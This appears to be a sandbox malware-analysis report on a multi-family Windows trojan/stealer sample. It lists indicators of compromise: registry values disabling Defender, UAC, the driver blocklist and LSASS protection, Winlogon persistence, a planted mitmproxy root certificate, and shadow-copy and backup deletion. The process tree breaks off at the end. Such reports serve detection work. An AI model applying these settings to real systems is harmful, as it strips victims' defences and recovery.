eedb39df4e5c24881f31c507dcc9146f4c53d20f7dd67397c3bc02845950c886

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, C:\\Program Files\\WindowsOptions\\scvhost.exe"	scvhost.exe

Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 8 IoCs

evasion trojan

Modify Registry

Windows Service

Disable or Modify Tools

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	BerserkGuard.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	BerserkGuard.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	BerserkGuard.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	BerserkGuard.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	BerserkGuard.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "0"	powershell.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	BerserkGuard.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	BerserkGuard.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 5 IoCs

defense_evasion trojan

Modify Registry

Windows Service

Disable or Modify Tools

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	BerserkGuard.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	BerserkGuard.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	BerserkGuard.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	BerserkGuard.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1"	BerserkGuard.exe

Modifies security service 2 TTPs 1 IoCs

Modify Registry

Windows Service

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WinDefend\DependOnService = 520070006300530073002d00440049005300410042004c004500440000000000	BerserkGuard.exe

UAC bypass 3 TTPs 1 IoCs

defense_evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	scvhost.exe

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Modifies boot configuration data using bcdedit 7 IoCs

pid	Process
4416	bcdedit.exe
1140	bcdedit.exe
3652	bcdedit.exe
4292	bcdedit.exe
3544	bcdedit.exe
3552	bcdedit.exe
3748	bcdedit.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 9 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
1532	powershell.exe
2496	powershell.exe
852	powershell.exe
2512	powershell.exe
1532	powershell.exe
6048	powershell.exe
2836	powershell.exe
2036	powershell.exe
852	powershell.exe

Deletes system backups 3 TTPs 2 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
3136	wbadmin.exe
5572	wbadmin.exe

Downloads MZ/PE file 1 IoCs

flow	pid	Process
16	5732	nvidia_d64.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File created	C:\Windows\System32\drivers\GameDriverX64.sys	BerserkGuard.exe

Modify Registry: Disable Windows Driver Blocklist 2 TTPs 7 IoCs

Disable Windows Driver Blocklist via Registry.

Modify Registry

persistence credential_access

Impair Defenses

T1562

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\CI\Config\VulnerableDriverBlocklistEnable = "0"	BerserkGuard.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\CI\Config\VulnerableDriverBlocklistEnable = "0"	BerserkGuard.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\CI\Config\VulnerableDriverBlocklistEnable = "0"	BerserkGuard.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\CI\Config\VulnerableDriverBlocklistEnable = "0"	BerserkGuard.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\CI\Config\VulnerableDriverBlocklistEnable = "0"	BerserkGuard.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\CI\Config\VulnerableDriverBlocklistEnable = "0"	BerserkGuard.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\CI\Config\VulnerableDriverBlocklistEnable = "0"	BerserkGuard.exe

Boot or Logon Autostart Execution: LSASS Driver 2 TTPs 7 IoCs

Adversaries may modify or add LSASS drivers to obtain persistence on compromised systems.

LSASS Driver

T1547.008

LSASS Memory

T1003.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Lsa\RunAsPPL = "0"	BerserkGuard.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Lsa\RunAsPPL = "0"	BerserkGuard.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Lsa\RunAsPPL = "0"	BerserkGuard.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Lsa\RunAsPPL = "0"	BerserkGuard.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Lsa\RunAsPPL = "0"	BerserkGuard.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Lsa\RunAsPPL = "0"	BerserkGuard.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Lsa\RunAsPPL = "0"	BerserkGuard.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	BerserkGuard.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	BerserkGuard.exe

Executes dropped EXE 17 IoCs

pid	Process
1848	UnRAR.exe
3308	BerserkGuard.exe
504	BerserkGuard.exe
4956	BerserkGuard.exe
3408	BerserkGuard.exe
2912	scvhost.exe
5124	nvidia_dr64.exe
4452	FACEITInstaller_64.exe
3832	FACEITInstaller_64.tmp
2484	BerserkGuard.exe
4788	UnRar.exe
5784	nvidia_d64.exe
5732	nvidia_d64.exe
712	BerserkGuard.exe
3536	UnRar.exe
3376	BerserkGuard.exe
1184	UnRar.exe

Loads dropped DLL 44 IoCs

pid	Process
504	BerserkGuard.exe
4956	BerserkGuard.exe
4956	BerserkGuard.exe
4956	BerserkGuard.exe
3408	BerserkGuard.exe
2484	BerserkGuard.exe
5732	nvidia_d64.exe
5732	nvidia_d64.exe
5732	nvidia_d64.exe
5732	nvidia_d64.exe
5732	nvidia_d64.exe
5732	nvidia_d64.exe
5732	nvidia_d64.exe
5732	nvidia_d64.exe
5732	nvidia_d64.exe
5732	nvidia_d64.exe
5732	nvidia_d64.exe
5732	nvidia_d64.exe
5732	nvidia_d64.exe
5732	nvidia_d64.exe
5732	nvidia_d64.exe
5732	nvidia_d64.exe
5732	nvidia_d64.exe
5732	nvidia_d64.exe
5732	nvidia_d64.exe
5732	nvidia_d64.exe
5732	nvidia_d64.exe
5732	nvidia_d64.exe
5732	nvidia_d64.exe
5732	nvidia_d64.exe
5732	nvidia_d64.exe
5732	nvidia_d64.exe
5732	nvidia_d64.exe
5732	nvidia_d64.exe
5732	nvidia_d64.exe
5732	nvidia_d64.exe
5732	nvidia_d64.exe
5732	nvidia_d64.exe
5732	nvidia_d64.exe
5732	nvidia_d64.exe
5732	nvidia_d64.exe
5732	nvidia_d64.exe
712	BerserkGuard.exe
3376	BerserkGuard.exe

Discovers running processes 1 TTPs 64 IoCs

Running process information can be used to identify security tools or plan follow-on actions.

discovery

Process Discovery

T1057

pid	Process
1792	tasklist.exe
1184	tasklist.exe
4144	tasklist.exe
5696	tasklist.exe
4148	tasklist.exe
3304	tasklist.exe
3840	tasklist.exe
4980	tasklist.exe
4156	tasklist.exe
4600	tasklist.exe
5160	tasklist.exe
4324	tasklist.exe
4844	tasklist.exe
1664	tasklist.exe
2468	tasklist.exe
2908	tasklist.exe
2112	tasklist.exe
3364	tasklist.exe
5024	tasklist.exe
5544	tasklist.exe
3928	tasklist.exe
2624	tasklist.exe
3224	tasklist.exe
4552	tasklist.exe
3512	tasklist.exe
5740	tasklist.exe
3312	tasklist.exe
4112	tasklist.exe
5600	tasklist.exe
1832	tasklist.exe
4376	tasklist.exe
2728	tasklist.exe
5908	tasklist.exe
4224	tasklist.exe
1432	tasklist.exe
5056	tasklist.exe
3440	tasklist.exe
2716	tasklist.exe
3624	tasklist.exe
4276	tasklist.exe
2752	tasklist.exe
3412	tasklist.exe
336	tasklist.exe
5408	tasklist.exe
4148	tasklist.exe
3664	tasklist.exe
3592	tasklist.exe
5064	tasklist.exe
4496	tasklist.exe
4780	tasklist.exe
4224	tasklist.exe
3276	tasklist.exe
1356	tasklist.exe
3096	tasklist.exe
3024	tasklist.exe
3420	tasklist.exe
3416	tasklist.exe
6056	tasklist.exe
6120	tasklist.exe
3376	tasklist.exe
4032	tasklist.exe
3992	tasklist.exe
3952	tasklist.exe
5144	tasklist.exe

Drops file in System32 directory 3 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\CodeIntegrity\CiPolicies\Active\{0283AC0F-FFF1-49AE-ADA1-8A933130CAD6}.cip	powershell.exe
File opened for modification	C:\Windows\system32\Recovery	ReAgentc.exe
File opened for modification	C:\Windows\system32\Recovery\ReAgent.xml	ReAgentc.exe

Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs

execution

Visual Basic

T1059.005

pid	Process
3976	WScript.exe

Drops file in Program Files directory 15 IoCs

description	ioc	Process
File created	C:\Program Files\WindowsOptions\taskmgr.dll	powershell.exe
File created	C:\Program Files\WindowsOptions\WinSW-x64.exe	powershell.exe
File created	C:\Program Files\WindowsOptions\nvidia_dr64\nvidia_dr64.xml	powershell.exe
File created	C:\Program Files\WindowsOptions\nvidia_dr64.exe	powershell.exe
File created	C:\Program Files\WindowsOptions\UnRAR.exe	powershell.exe
File created	C:\Program Files\WindowsOptions\FACEITInstaller_64.exe	powershell.exe
File created	C:\Program Files\WindowsOptions\install.ps1	powershell.exe
File created	C:\Program Files\WindowsOptions\MR_ROBOT.txt	powershell.exe
File created	C:\Program Files\WindowsOptions\nvidia_d64.exe	powershell.exe
File created	C:\Program Files\WindowsOptions\sfx.rar	powershell.exe
File opened for modification	C:\Program Files\WindowsOptions\scvhost.log	scvhost.exe
File created	C:\Program Files\WindowsOptions\BerserkGuard.exe	powershell.exe
File created	C:\Program Files\WindowsOptions\n_config	powershell.exe
File created	C:\Program Files\WindowsOptions\Run.vbs	powershell.exe
File created	C:\Program Files\WindowsOptions\scvhost.exe	powershell.exe

Drops file in Windows directory 10 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Logs\WindowsBackup\WBEngine.3.etl	wbadmin.exe
File opened for modification	C:\Windows\Logs\ReAgent\ReAgent.log	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\setuperr.log	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagerr.xml	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagwrn.xml	ReAgentc.exe
File opened for modification	C:\Windows\Logs\WindowsBackup\WBEngine.1.etl	wbadmin.exe
File opened for modification	C:\Windows\Logs\WindowsBackup\WBEngine.2.etl	wbadmin.exe
File opened for modification	C:\Windows\Logs\WindowsBackup\WBEngine.1.etl	wbadmin.exe
File opened for modification	C:\Windows\Logs\WindowsBackup\WBEngine.3.etl	wbadmin.exe
File opened for modification	C:\Windows\Logs\WindowsBackup\WBEngine.2.etl	wbadmin.exe

Launches sc.exe 4 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
3476	sc.exe
3576	sc.exe
2724	sc.exe
1124	sc.exe

Detects Pyinstaller 1 IoCs

pyinstaller

resource	yara_rule
behavioral2/files/0x000c00000001c528-127.dat	pyinstaller

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 5 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4744	cmd.exe
2884	cmd.exe
2144	cmd.exe
4396	cmd.exe
3276	cmd.exe

Modifies trusted root certificate store through registry 1 TTPs 1 IoCs

A root certificate was added, modified, or removed in the trusted certificate store registry paths.

Install Root Certificate

T1553.004

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\31A48B04327E1EB05D0AD4434D2BB743AC5C831E\Blob = 03000000010000001400000031a48b04327e1eb05d0ad4434d2bb743ac5c831e0b00000001000000140000006d00690074006d00700072006f00780079000000200000000100000039030000308203353082021da00302010202144585a9440e35327c4f9b9ac43119d5c2f4af2e78300d06092a864886f70d01010b050030283112301006035504030c096d69746d70726f787931123010060355040a0c096d69746d70726f7879301e170d3236303831333033323035375a170d3336303831323033323035375a30283112301006035504030c096d69746d70726f787931123010060355040a0c096d69746d70726f787930820122300d06092a864886f70d01010105000382010f003082010a0282010100956dc581f3277ef70affe1c3661a21c3f3dda6178012799069ac4b442198a4ca985aeff187ef13cc85c8c8bbcbf152cf351311d4d840ad777a81844944a485e78ec829e39873dab2fa14e2f9f7212d228bc8cc18f9c35dbd50171cfb3a6cc567b36bad93e7f6606c2f5f9612d8cb111b5925f4cf2ea51d6741c0dd9cebda68b424ac1e552e3c0205ed5048e51f851b3472224b6fcc6cb5e52e5f0cd5c3257e700f2c57f52018e804dbdae851ed66af6f34cb619228f3a28a06268129f39e26b68357c4d623f8cd23d08c0dcd04eb825cc9e93891d0a82fe43e5a2b8b3e24016c1a2d920786c90f7f3b7b3aeb462adc77d6fb65557c3902b2e227f2c95ae13ef90203010001a3573055300f0603551d130101ff040530030101ff30130603551d25040c300a06082b06010505070301300e0603551d0f0101ff040403020106301d0603551d0e04160414e4b40adb06d51b69f6cee8bfd67d283b0456c5c4300d06092a864886f70d01010b0500038201010044c1956f2909715b402ed25f965a6778efb714b82007f7369c6ccee47268f9c48ea71467d77348a67ceafdf08968c7869291253be27272acad665d646005ad7106b95b953130026e7824b66a02a59e4c30d1364897f8ad0dc769f9c6c452141a265d9e5d240d740830066426f6bf72fea5691cf68dd83c90b0a658a38dd523110a89abbe66367c03a5dd1ae6c5566e9be28349b985e079c8b0c4fd71a3a7df100fda4d80d49d0089b7f724535e29616332a27e691dbf393e9a8c12abe042558981756410de57081ec100966113c524cab16e5525c6d765b938e21ad6b10b7d30eccd5cee34c65a9c1c95e1cec18e7ee8aca70934f2507d06eaaa52f91116ff96	nvidia_dr64.exe

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	FACEITInstaller_64.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	FACEITInstaller_64.tmp

Inno Setup is an open-source installation builder for Windows applications. 2 IoCs

Inno Setup installer

installer

resource	yara_rule
behavioral2/memory/4452-311-0x0000000000FA0000-0x00000000010C4000-memory.dmp	innosetup
behavioral2/memory/4452-598-0x0000000000FA0000-0x00000000010C4000-memory.dmp	innosetup

Enumerates system info in registry 2 TTPs 2 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemManufacturer	BerserkGuard.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemProductName	BerserkGuard.exe

Interacts with shadow copies 3 TTPs 1 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
5368	vssadmin.exe

Kills process with taskkill 3 IoCs

defense_evasion spyware trojan

pid	Process
1236	taskkill.exe
4116	taskkill.exe
5928	taskkill.exe

Modifies registry class 8 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\Instance\	2026-08-14_951070690277029079eae530f088f5cd_cryptbot_icedid_luca-stealer_njrat_stealc.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{A8CDFF1C-4878-43be-B5FD-F8091C1C60D0}\Instance\	2026-08-14_951070690277029079eae530f088f5cd_cryptbot_icedid_luca-stealer_njrat_stealc.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{A0953C92-50DC-43bf-BE83-3742FED03C9C}\Instance\	2026-08-14_951070690277029079eae530f088f5cd_cryptbot_icedid_luca-stealer_njrat_stealc.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1CF1260C-4DD0-4ebb-811F-33C572699FDE}\Instance\	2026-08-14_951070690277029079eae530f088f5cd_cryptbot_icedid_luca-stealer_njrat_stealc.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{3ADD1653-EB32-4cb0-BBD7-DFA0ABB5ACCA}\Instance\	2026-08-14_951070690277029079eae530f088f5cd_cryptbot_icedid_luca-stealer_njrat_stealc.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{374DE290-123F-4565-9164-39C4925E467B}\Instance\	2026-08-14_951070690277029079eae530f088f5cd_cryptbot_icedid_luca-stealer_njrat_stealc.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-2115213192-531537726-3295841909-1000\{587EC015-F104-42BA-9426-3F2FE99A79F2}	scvhost.exe
Key created	\REGISTRY\USER\S-1-5-21-2115213192-531537726-3295841909-1000_Classes\Local Settings	2026-08-14_951070690277029079eae530f088f5cd_cryptbot_icedid_luca-stealer_njrat_stealc.exe

Modifies system certificate store 2 TTPs 1 IoCs

Install Root Certificate

T1553.004

Modify Registry

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\31A48B04327E1EB05D0AD4434D2BB743AC5C831E	nvidia_dr64.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2496	powershell.exe
2496	powershell.exe
2496	powershell.exe
2496	powershell.exe
4956	BerserkGuard.exe
4956	BerserkGuard.exe
2496	powershell.exe
2496	powershell.exe
6048	powershell.exe
6048	powershell.exe
6048	powershell.exe
2836	powershell.exe
2836	powershell.exe
2836	powershell.exe
1532	powershell.exe
1532	powershell.exe
1532	powershell.exe
2036	powershell.exe
2036	powershell.exe
2036	powershell.exe
2912	scvhost.exe
2912	scvhost.exe
852	powershell.exe
852	powershell.exe
852	powershell.exe
2912	scvhost.exe
2912	scvhost.exe
2912	scvhost.exe
2912	scvhost.exe
2912	scvhost.exe
2912	scvhost.exe
2912	scvhost.exe
2912	scvhost.exe
2512	powershell.exe
2512	powershell.exe
2512	powershell.exe
2912	scvhost.exe
2912	scvhost.exe
2912	scvhost.exe
2912	scvhost.exe
5732	nvidia_d64.exe
5732	nvidia_d64.exe
2912	scvhost.exe
2912	scvhost.exe
2912	scvhost.exe
2912	scvhost.exe
2912	scvhost.exe
2912	scvhost.exe
2912	scvhost.exe
2912	scvhost.exe
5732	nvidia_d64.exe
5732	nvidia_d64.exe
2912	scvhost.exe
2912	scvhost.exe
2912	scvhost.exe
2912	scvhost.exe
2912	scvhost.exe
2912	scvhost.exe
5732	nvidia_d64.exe
5732	nvidia_d64.exe
2912	scvhost.exe
2912	scvhost.exe
2912	scvhost.exe
2912	scvhost.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2496	powershell.exe
Token: SeIncreaseQuotaPrivilege	2496	powershell.exe
Token: SeSecurityPrivilege	2496	powershell.exe
Token: SeTakeOwnershipPrivilege	2496	powershell.exe
Token: SeLoadDriverPrivilege	2496	powershell.exe
Token: SeSystemProfilePrivilege	2496	powershell.exe
Token: SeSystemtimePrivilege	2496	powershell.exe
Token: SeProfSingleProcessPrivilege	2496	powershell.exe
Token: SeIncBasePriorityPrivilege	2496	powershell.exe
Token: SeCreatePagefilePrivilege	2496	powershell.exe
Token: SeBackupPrivilege	2496	powershell.exe
Token: SeRestorePrivilege	2496	powershell.exe
Token: SeShutdownPrivilege	2496	powershell.exe
Token: SeDebugPrivilege	2496	powershell.exe
Token: SeSystemEnvironmentPrivilege	2496	powershell.exe
Token: SeRemoteShutdownPrivilege	2496	powershell.exe
Token: SeUndockPrivilege	2496	powershell.exe
Token: SeManageVolumePrivilege	2496	powershell.exe
Token: 33	2496	powershell.exe
Token: 34	2496	powershell.exe
Token: 35	2496	powershell.exe
Token: 36	2496	powershell.exe
Token: SeIncreaseQuotaPrivilege	2496	powershell.exe
Token: SeSecurityPrivilege	2496	powershell.exe
Token: SeTakeOwnershipPrivilege	2496	powershell.exe
Token: SeLoadDriverPrivilege	2496	powershell.exe
Token: SeSystemProfilePrivilege	2496	powershell.exe
Token: SeSystemtimePrivilege	2496	powershell.exe
Token: SeProfSingleProcessPrivilege	2496	powershell.exe
Token: SeIncBasePriorityPrivilege	2496	powershell.exe
Token: SeCreatePagefilePrivilege	2496	powershell.exe
Token: SeBackupPrivilege	2496	powershell.exe
Token: SeRestorePrivilege	2496	powershell.exe
Token: SeShutdownPrivilege	2496	powershell.exe
Token: SeDebugPrivilege	2496	powershell.exe
Token: SeSystemEnvironmentPrivilege	2496	powershell.exe
Token: SeRemoteShutdownPrivilege	2496	powershell.exe
Token: SeUndockPrivilege	2496	powershell.exe
Token: SeManageVolumePrivilege	2496	powershell.exe
Token: 33	2496	powershell.exe
Token: 34	2496	powershell.exe
Token: 35	2496	powershell.exe
Token: 36	2496	powershell.exe
Token: SeIncreaseQuotaPrivilege	2496	powershell.exe
Token: SeSecurityPrivilege	2496	powershell.exe
Token: SeTakeOwnershipPrivilege	2496	powershell.exe
Token: SeLoadDriverPrivilege	2496	powershell.exe
Token: SeSystemProfilePrivilege	2496	powershell.exe
Token: SeSystemtimePrivilege	2496	powershell.exe
Token: SeProfSingleProcessPrivilege	2496	powershell.exe
Token: SeIncBasePriorityPrivilege	2496	powershell.exe
Token: SeCreatePagefilePrivilege	2496	powershell.exe
Token: SeBackupPrivilege	2496	powershell.exe
Token: SeRestorePrivilege	2496	powershell.exe
Token: SeShutdownPrivilege	2496	powershell.exe
Token: SeDebugPrivilege	2496	powershell.exe
Token: SeSystemEnvironmentPrivilege	2496	powershell.exe
Token: SeRemoteShutdownPrivilege	2496	powershell.exe
Token: SeUndockPrivilege	2496	powershell.exe
Token: SeManageVolumePrivilege	2496	powershell.exe
Token: 33	2496	powershell.exe
Token: 34	2496	powershell.exe
Token: 35	2496	powershell.exe
Token: 36	2496	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 5816 wrote to memory of 3976	5816	2026-08-14_951070690277029079eae530f088f5cd_cryptbot_icedid_luca-stealer_njrat_stealc.exe	88
PID 3976 wrote to memory of 2496	3976	WScript.exe	89
PID 2496 wrote to memory of 1848	2496	powershell.exe	92
PID 2496 wrote to memory of 3308	2496	powershell.exe	93
PID 3308 wrote to memory of 3476	3308	BerserkGuard.exe	131
PID 3308 wrote to memory of 3576	3308	BerserkGuard.exe	96
PID 3308 wrote to memory of 2724	3308	BerserkGuard.exe	98
PID 3308 wrote to memory of 4416	3308	BerserkGuard.exe	100
PID 3308 wrote to memory of 1140	3308	BerserkGuard.exe	104
PID 3308 wrote to memory of 4292	3308	BerserkGuard.exe	107
PID 4956 wrote to memory of 1124	4956	BerserkGuard.exe	110
PID 3408 wrote to memory of 3652	3408	BerserkGuard.exe	113
PID 2496 wrote to memory of 2912	2496	powershell.exe	118
PID 2912 wrote to memory of 1532	2912	scvhost.exe	119
PID 2496 wrote to memory of 5124	2496	powershell.exe	121
PID 5124 wrote to memory of 6048	5124	nvidia_dr64.exe	122
PID 2496 wrote to memory of 4452	2496	powershell.exe	125
PID 4452 wrote to memory of 3832	4452	FACEITInstaller_64.exe	126
PID 5124 wrote to memory of 2836	5124	nvidia_dr64.exe	127
PID 2484 wrote to memory of 4788	2484	BerserkGuard.exe	130
PID 2484 wrote to memory of 3544	2484	BerserkGuard.exe	132
PID 5124 wrote to memory of 5784	5124	nvidia_dr64.exe	135
PID 2912 wrote to memory of 2036	2912	scvhost.exe	137
PID 5784 wrote to memory of 5732	5784	nvidia_d64.exe	139
PID 2036 wrote to memory of 4744	2036	powershell.exe	142
PID 4744 wrote to memory of 4828	4744	cmd.exe	145
PID 2036 wrote to memory of 2884	2036	powershell.exe	147
PID 2884 wrote to memory of 3136	2884	cmd.exe	149
PID 2036 wrote to memory of 2144	2036	powershell.exe	150
PID 2144 wrote to memory of 5572	2144	cmd.exe	256
PID 2036 wrote to memory of 4396	2036	powershell.exe	153
PID 4396 wrote to memory of 5368	4396	cmd.exe	188
PID 5732 wrote to memory of 3276	5732	nvidia_d64.exe	159
PID 2912 wrote to memory of 852	2912	scvhost.exe	160
PID 2912 wrote to memory of 2512	2912	scvhost.exe	162
PID 5732 wrote to memory of 1236	5732	nvidia_d64.exe	164
PID 5732 wrote to memory of 4116	5732	nvidia_d64.exe	166
PID 5732 wrote to memory of 5928	5732	nvidia_d64.exe	168
PID 5732 wrote to memory of 4128	5732	nvidia_d64.exe	170
PID 5732 wrote to memory of 4552	5732	nvidia_d64.exe	172
PID 5732 wrote to memory of 4504	5732	nvidia_d64.exe	174
PID 5732 wrote to memory of 4804	5732	nvidia_d64.exe	176
PID 5732 wrote to memory of 808	5732	nvidia_d64.exe	261
PID 5732 wrote to memory of 1356	5732	nvidia_d64.exe	180
PID 5732 wrote to memory of 3096	5732	nvidia_d64.exe	182
PID 5732 wrote to memory of 3024	5732	nvidia_d64.exe	184
PID 712 wrote to memory of 3536	712	BerserkGuard.exe	187
PID 712 wrote to memory of 3552	712	BerserkGuard.exe	189
PID 5732 wrote to memory of 3420	5732	nvidia_d64.exe	191
PID 5732 wrote to memory of 2384	5732	nvidia_d64.exe	280
PID 5732 wrote to memory of 2608	5732	nvidia_d64.exe	195
PID 5732 wrote to memory of 2524	5732	nvidia_d64.exe	197
PID 5732 wrote to memory of 5284	5732	nvidia_d64.exe	199
PID 5732 wrote to memory of 3440	5732	nvidia_d64.exe	246
PID 5732 wrote to memory of 2112	5732	nvidia_d64.exe	203
PID 5732 wrote to memory of 3364	5732	nvidia_d64.exe	205
PID 5732 wrote to memory of 3416	5732	nvidia_d64.exe	207
PID 5732 wrote to memory of 3376	5732	nvidia_d64.exe	253
PID 5732 wrote to memory of 5064	5732	nvidia_d64.exe	260
PID 5732 wrote to memory of 4148	5732	nvidia_d64.exe	213
PID 5732 wrote to memory of 2812	5732	nvidia_d64.exe	215
PID 5732 wrote to memory of 4796	5732	nvidia_d64.exe	217
PID 5732 wrote to memory of 688	5732	nvidia_d64.exe	219
PID 5732 wrote to memory of 2716	5732	nvidia_d64.exe	221

System policy modification 1 TTPs 1 IoCs

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	scvhost.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\2026-08-14_951070690277029079eae530f088f5cd_cryptbot_icedid_luca-stealer_njrat_stealc.exe
"C:\Users\Admin\AppData\Local\Temp\2026-08-14_951070690277029079eae530f088f5cd_cryptbot_icedid_luca-stealer_njrat_stealc.exe"
1⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:5816
- C:\Windows\System32\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\RarSFX0\Run.vbs"
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  - Suspicious use of WriteProcessMemory
  PID:3976
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
